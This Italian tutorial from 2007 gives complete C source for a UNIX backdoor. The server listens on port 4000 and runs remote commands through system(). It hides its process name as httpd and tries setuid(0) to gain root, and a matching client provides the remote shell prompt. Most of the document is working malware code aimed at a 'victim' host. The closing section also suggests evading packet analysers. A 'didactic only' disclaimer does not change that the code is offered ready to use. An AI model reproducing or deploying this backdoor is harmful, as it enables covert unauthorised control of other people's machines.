Creare un'elementare backdoor in C in ambiente UNIX

DISCLAIMER: Questo tutorial è a solo scopo didattico. L'autore NON si prende alcuna responsabilità circa usi errati o non legali delle informazioni qui contenute. Se fate cazzate con questa roba SO' CAZZI VOSTRI!

Prerequisiti per questo tutorial:

- Buona conoscenza del C
- Minima conoscenza della shell Unix
- Programmazione TCP/IP in ambiente Unix

Al giorno d'oggi esistono molti tipi di backdoor. Quelle più avanzate sfruttano vulnerabilità a livello del kernel o dei servizi in esecuzione su un host. Altre invece sfruttano tecniche ancora più avanzate, come il packet sniffing con le librerie PCAP. In questo tutorial invece illustrerò come creare una backdoor molto essenziale (e, se il sistema vittima è configurato per bene, nemmeno molto efficace), giusto per capire un po' come funzionano i meccanismi di quest'arte.

Una backdoor (lett. “porta sul retro”) altro non è che una porta aperta su un host in grado di accettare certi tipi di richieste e, se programmata per bene, in grado di fornire a un attaccante remoto una shell, nel migliore dei casi una shell di root. Per creare una backdoor devo quindi creare due listati: uno per il “server” (la macchina sulla quale verrà eseguita la backdoor) e uno per il “client” (la macchina che si collegherà all'host vittima attraverso la backdoor).

Partiamo dal server. Ecco uno schema di ciò che deve fare il nostro server:

- *Mascherare la backdoor*
- *Aumentare i privilegi dell'utente remoto*
- *Inizializzare l'IP del server e il socket per le comunicazioni con l'esterno, in modo da accettare le connessioni dal nostro client su una determinata porta*
- *Leggere un comando inviato dal nostro client attraverso il socket creato*
- *Eseguire il comando e redirigere il suo output su un file d'appoggio, in modo che l'utente del sistema non veda sul monitor comandi indesiderati*
- *Leggere il contenuto del file d'appoggio, memorizzarlo in un buffer e inviare il buffer al nostro client*
- *Eliminare il file e ripetere la procedura finché il client non chiude la connessione*

La prima cosa che vogliamo fare sull'host vittima è evitare che un utente “legittimo” scopra di avere una backdoor installata sul suo sistema guardando i processi attivi con un semplice `ps` e poi, se possibile, innalzare i nostri privilegi fino a quelli di root (ovviamente

se il bit SUID è attivo sull'eseguibile):

```
strcpy(argv[0],"/usr/sbin/httpd");
setuid(0); setgid(0);
```

In questo modo sovrascrivo al nome del programma, ad esempio, il server Apache, in modo da ingannare l'utente che va a vedere i processi attivi, quindi provo, se possibile, a ottenere i privilegi di root.

Ora inizializzo l'indirizzo del server:

```
# define    PORT        4000
struct sockaddr_in server,client;

...

addr_init(&server, PORT, INADDR_ANY);
```

Dove addr_init è una funzione così definita:

```
void addr_init(struct sockaddr_in *addr, int port, long ip)  {
     addr->sin_family = AF_INET;
     addr->sin_port = htons(port);
     addr->sin_addr.s_addr = ip;
}
```

che inizializza l'IP del server.
Ora sfruttando il protocollo TCP apro un socket:

```
int sd;

...

if ((sd = socket(AF_INET, SOCK_STREAM, 0))==-1)
            exit(1);
```

E associo questo socket al mio server attraverso una bind:

```
int sin_len = sizeof(struct sockaddr_in);

...

if ( (bind(sd, (struct sockaddr*) &server, sin_len)) == -1)
          exit(1);
```

Infine, pongo il socket in ascolto per richieste di connessione:

```
#define     MAX_CONN    3

...

if ( (listen(sd,MAX_CONN)) == -1)
          exit(1);
```

Quindi accetto le connessioni in ingresso sul socket su un nuovo socket che creo tra il server e il nuovo client:

```
int new_sd;
```

```
if ( (new_sd = accept(sd, (struct sockaddr*) &client, &sin_len)) == -1)
            exit(1);
```

Insomma, la solita routine per inizializzare un server.
Ora creo un ciclo infinito in cui elaboro le informazioni richieste dal client:

```
char file[100], cmd[1000], new_cmd[1200];
snprintf(file,100,"%s/.cmd",getenv("HOME"));

...

for(;;)  {
      read(new_sd, cmd, sizeof(cmd));
      memset(new_cmd, 0x0, sizeof(new_cmd));
      snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
      system(new_cmd);
```

Quello che faccio praticamente è leggere, attraverso una read sul socket creato con il client, il comando inviato dal client, e redirigerlo su un file di appoggio (che nell'esempio di sopra sarà “~/.cmd”). Faccio questo memorizzando la stringa inviata dal client in “cmd”, quindi setto a NULL tutti i byte del buffer “new_cmd” (in modo da essere sicuro di cancellare comandi precedenti) e scrivo su new_cmd una stringa del tipo “COMANDO > ~/.cmd”, quindi eseguo questo comando attraverso una chiamata alla system().
Ora il comando è stato eseguito e il suo output si trova all'interno del file ~/.cmd . Ma l'output del comando dobbiamo inviarlo al client, in quanto va visualizzato sulla shell remota...occorre quindi inviare prima la dimensione del file .cmd (in quanto il client si deve predisporre alla ricezione vera e propria inizializzando un buffer dinamico di dimensione nota), quindi il buffer vero e proprio, e infine il file va cancellato.
Procediamo per passi. Dobbiamo inviare al client la dimensione del file .cmd, che ovviamente è un valore intero, attraverso una comunicazione via socket che però può scambiare solo stringhe, quindi dovremo prima convertire il valore letto in una stringa, quindi procedere all'invio:

```
char size[17];
// 17 non dà problemi perché una variabile int
// non è mai più lunga di 17 cifre

...

sprintf(size,"%d",strlen(readFile(file)));
```

Dove readFile() è una funzione che legge un intero file, il cui nome è passato come parametro, e ritorna il suo contenuto. È così definita:

```
char *readFile(char *file)  {
     FILE *fp;
     int i;
     char *buff;

     fp = fopen(file,"r");
     buff = (char*) malloc(fileLen(fp)*sizeof(char));

     for (i=0; !feof(fp); i++)
          buff[i] = fgetc(fp);
     buff[i-1] = '\0';

     fclose(fp);
```

```
     return buff;
}
```

mentre la funzione fileLen() usata all'interno di readFile() è così definita:

```
int fileLen(FILE *fp)  {
     char buff;
     int len=0;

     rewind(fp);

     while(!feof(fp))  {
          buff = fgetc(fp);
          len++;
     }

     rewind(fp);
     return len;
}
```

Ora controllo che il file .cmd non sia vuoto (in questo caso invierei sul socket una stringa vuota e avrei dei problemi di I/O). Se il file .cmd è vuoto, ovvero il comando eseguito non ha prodotto alcun output sullo stdout, allora scrivo al suo interno un semplice “OK” (giusto per non inviare la stringa nulla):

```
if (!strcmp(size,"0"))  {
      snprintf (new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
      system(new_cmd);
      snprintf (size, sizeof(size), "%d", strlen(readFile(file)));
}
```

A questo punto invio al client prima la dimensione del file, quindi il contenuto del file e infine cancellare il file e chiudere i socket:

```
write(new_sd, size, sizeof(size));
write(new_sd, readFile(file), atoi(size));
unlink(file);

...

close(sd);
close(new_sd);
```

Il codice del client sarà simmetrico a quello del client. Ecco un piccolo schema di quello che deve fare il nostro client:

- *Inizializzare l'indirizzo IP, creare un socket con il server e collegarsi*
- *Leggere un comando da STDIN e inviarlo al server*
- *Ricevere dal server prima la dimensione dell'output, quindi l'output del comando vero e proprio*
- *Instanziare un buffer che contenga l'output del programma e stamparlo su terminale*
- *Ripetere l'operazione finché l'utente ha comandi da inserire*

Cominciamo.
Il client richiede, come argomento, l'indirizzo IP dell'host a cui collegarsi:

```
     if (argc==1)  {
          printf ("Please give me a valid host to connect\n");
          exit(0);
     }
```

A questo punto inizializza il protocollo, crea il socket e si collega al server in modo simile a quello visto prima:

```
int sd;
struct sockaddr_in client, server;

...

addr_init(&server, PORT, inet_addr(argv[1]));
sd = socket(AF_INET, SOCK_STREAM, 0);

if (sd==-1)  {
      printf ("Unable to create a socket\n");
      exit(1);
}

if ( connect(sd, (struct sockaddr*) &server, sizeof(struct sockaddr)) )  {
      printf ("Unable to connect to the server
%s\n",inet_ntoa(server.sin_addr));
      close(sd);
      exit(1);
}

printf ("Connection successfully established on the port %d of server %s\n\n",
               ntohs(server.sin_port), inet_ntoa(server.sin_addr));
```

Ora creo il ciclo della shell. Comincio leggendo un comando da tastiera per poi salvarlo su una stringa:

```
     char cmd[1000];

     ...

     for (;;)  {
          printf ("my-sh3ll-prompt# ");
          fgets(cmd, sizeof(cmd), stdin);
          cmd[strlen(cmd)-1] = '\0';
```

quindi invio il comando appena inserito al server, che lo eseguirà ed elaborerà, e pulisco il buffer cmd:

```
          write(sd, cmd, sizeof(cmd));
          memset(cmd, 0x0, sizeof(cmd));
```

Ora leggo dal server la dimensione del buffer che mi deve inviare (ovviamente, come abbiamo visto prima, sarà una stringa):

```
read(sd, size, sizeof(size))
```

e inizializzo un buffer dinamico sulla dimensione ricevuta, un buffer che conterrà l'output

vero e proprio:

```
          buff = (char*) malloc(atoi(size)*sizeof(char));
          read(sd, buff, atoi(size));
```

Tutto ciò che mi resta da fare è stampare l'output del programma e chiudere il socket:

```
         printf ("%s",buff);
         printf ("\nCommand successfully sent\n");

         ...

         close(sd);
```

Posto qui i file sorgenti di questo progetto:

```
/* backdoor.h */

#ifndef MY_SOCK_H
#define MY_SOCK_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT                    4000
#define STATE_LEN               3

void addr_init(struct sockaddr_in *addr, int port, long ip)  {
        addr->sin_family = AF_INET;
        addr->sin_port = htons(port);
        addr->sin_addr.s_addr = ip;
}

int fileLen(FILE *fp)  {
        char buff;
        int len=0;

        rewind(fp);

        while(!feof(fp))  {
                buff = fgetc(fp);
                len++;
        }

        rewind(fp);
        return len;
}

char *readFile(char *file)  {
        FILE *fp;
        int i;
        char *buff;

        fp = fopen(file,"r");
        buff = (char*) malloc(fileLen(fp)*sizeof(char));

        for (i=0; !feof(fp); i++)
```

```
                buff[i] = fgetc(fp);
        buff[i-1] = '\0';

        fclose(fp);
        return buff;
}

#endif
```

```
/* server.c */

#include "backdoor.h"
#define MAX_CONN        3

main(int argc, char **argv)  {
        int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
        char cmd[1000], new_cmd[1200], size[17], file[100];
        FILE *fp;
        struct sockaddr_in client, server;

        strcpy(argv[0],"/usr/sbin/httpd");
        snprintf(file,100,"%s/.cmd",getenv("HOME"));
        setuid(0); setgid(0);

        addr_init(&server, PORT, INADDR_ANY);
        sd = socket(AF_INET, SOCK_STREAM, 0);

        if (sd==-1)
                exit(1);

        if ( (bind(sd, (struct sockaddr*) &server, sin_len)) == -1)
                exit(2);

        if ( (listen(sd,MAX_CONN)) == -1)
                exit(3);

        new_sd = accept(sd, (struct sockaddr*) &client, &sin_len);

        if (new_sd==-1)
                exit(4);

        for (;;)  {
                if ( (read(new_sd, cmd, sizeof(cmd))) == -1)
                        exit(1);

                memset(new_cmd, 0x0, sizeof(new_cmd));
                snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
                system(new_cmd);

                sprintf(size,"%d",strlen(readFile(file)));
                size[strlen(size)] = '\0';

                if (!strcmp(size,"0"))  {
                        snprintf (new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" >
%s",file);
                        system(new_cmd);
                        snprintf (size, sizeof(size), "%d",
strlen(readFile(file)));
                }

                if ( (write(new_sd, size, sizeof(size))) == -1)
```

```
                        exit(1);

                if ( (write(new_sd, readFile(file), atoi(size))) == -1)
                        exit(1);

                unlink(file);
        }

        close(new_sd);
        close(sd);
}
```

```
/* client.c */

#include "backdoor.h"

main(int argc, char **argv)  {
        int sd,i;
        char *buff, cmd[1000], size[17];
        struct sockaddr_in client, server;

        if (argc==1)  {
                printf ("Please give me a valid host to connect\n");
                exit(0);
        }

        addr_init(&server, PORT, inet_addr(argv[1]));
        sd = socket(AF_INET, SOCK_STREAM, 0);

        if (sd==-1)  {
                printf ("Unable to create a socket\n");
                exit(1);
        }

        if ( connect(sd, (struct sockaddr*) &server, sizeof(struct sockaddr)) )
{
                printf ("Unable to connect to the server
%s\n",inet_ntoa(server.sin_addr));
                close(sd);
                exit(2);
        }

        printf ("_____\n");
        printf ("Remote Sh3ll Controller\n\n");
        printf ("by BlackLight, (C) 2007\n");
        printf ("blacklight86@gmail.com\n");
        printf ("Released under GPL licence\n");
        printf ("_____\n\n");

        printf ("Connection successfully established on the port %d of server
%s\n\n",
                        ntohs(server.sin_port), inet_ntoa(server.sin_addr));

        for (;;)  {
                printf ("my-sh3ll-prompt# ");
                fgets(cmd, sizeof(cmd), stdin);
                cmd[strlen(cmd)-1] = '\0';

                write(sd, cmd, sizeof(cmd));
                memset(cmd, 0x0, sizeof(cmd));
```

```
                if ( (read(sd, size, sizeof(size))) == -1)  {
                        printf ("Unable to receive data from the server %s.
Connection lost\n",
                                        inet_ntoa(server.sin_addr));
                        exit(1);
                }

                buff = (char*) malloc(atoi(size)*sizeof(char));

                if ( (read(sd, buff, atoi(size))) == -1)  {
                        printf ("Unable to receive data from the server %s.
Connection lost\n",
                                        inet_ntoa(server.sin_addr));
                        exit(1);
                }

                printf ("%s",buff);
                printf ("\nCommand successfully sent\n");
        }

        close(sd);
}
```

Come backdoor questa è piuttosto elementare, e se l'host remoto blocca le connessioni sulla porta 4000 (quella usata in questo esempio) non è nemmeno molto efficace. Ma è una base da cui partire per scrivere backdoor più avanzate. Ad esempio, con un primitivo meccanismo di login che permetta l'accesso alla macchina remota solo a noi e non ad altri utenti. Oppure inserendo un minimo sistema di criptazione sui dati scambiati sul socket, in modo da evitare l'invio di dati in chiaro che potrebbero far insospettire un packet analizer. Però così com'è il funzionamento su un sistema non proprio “blindato” è garantito.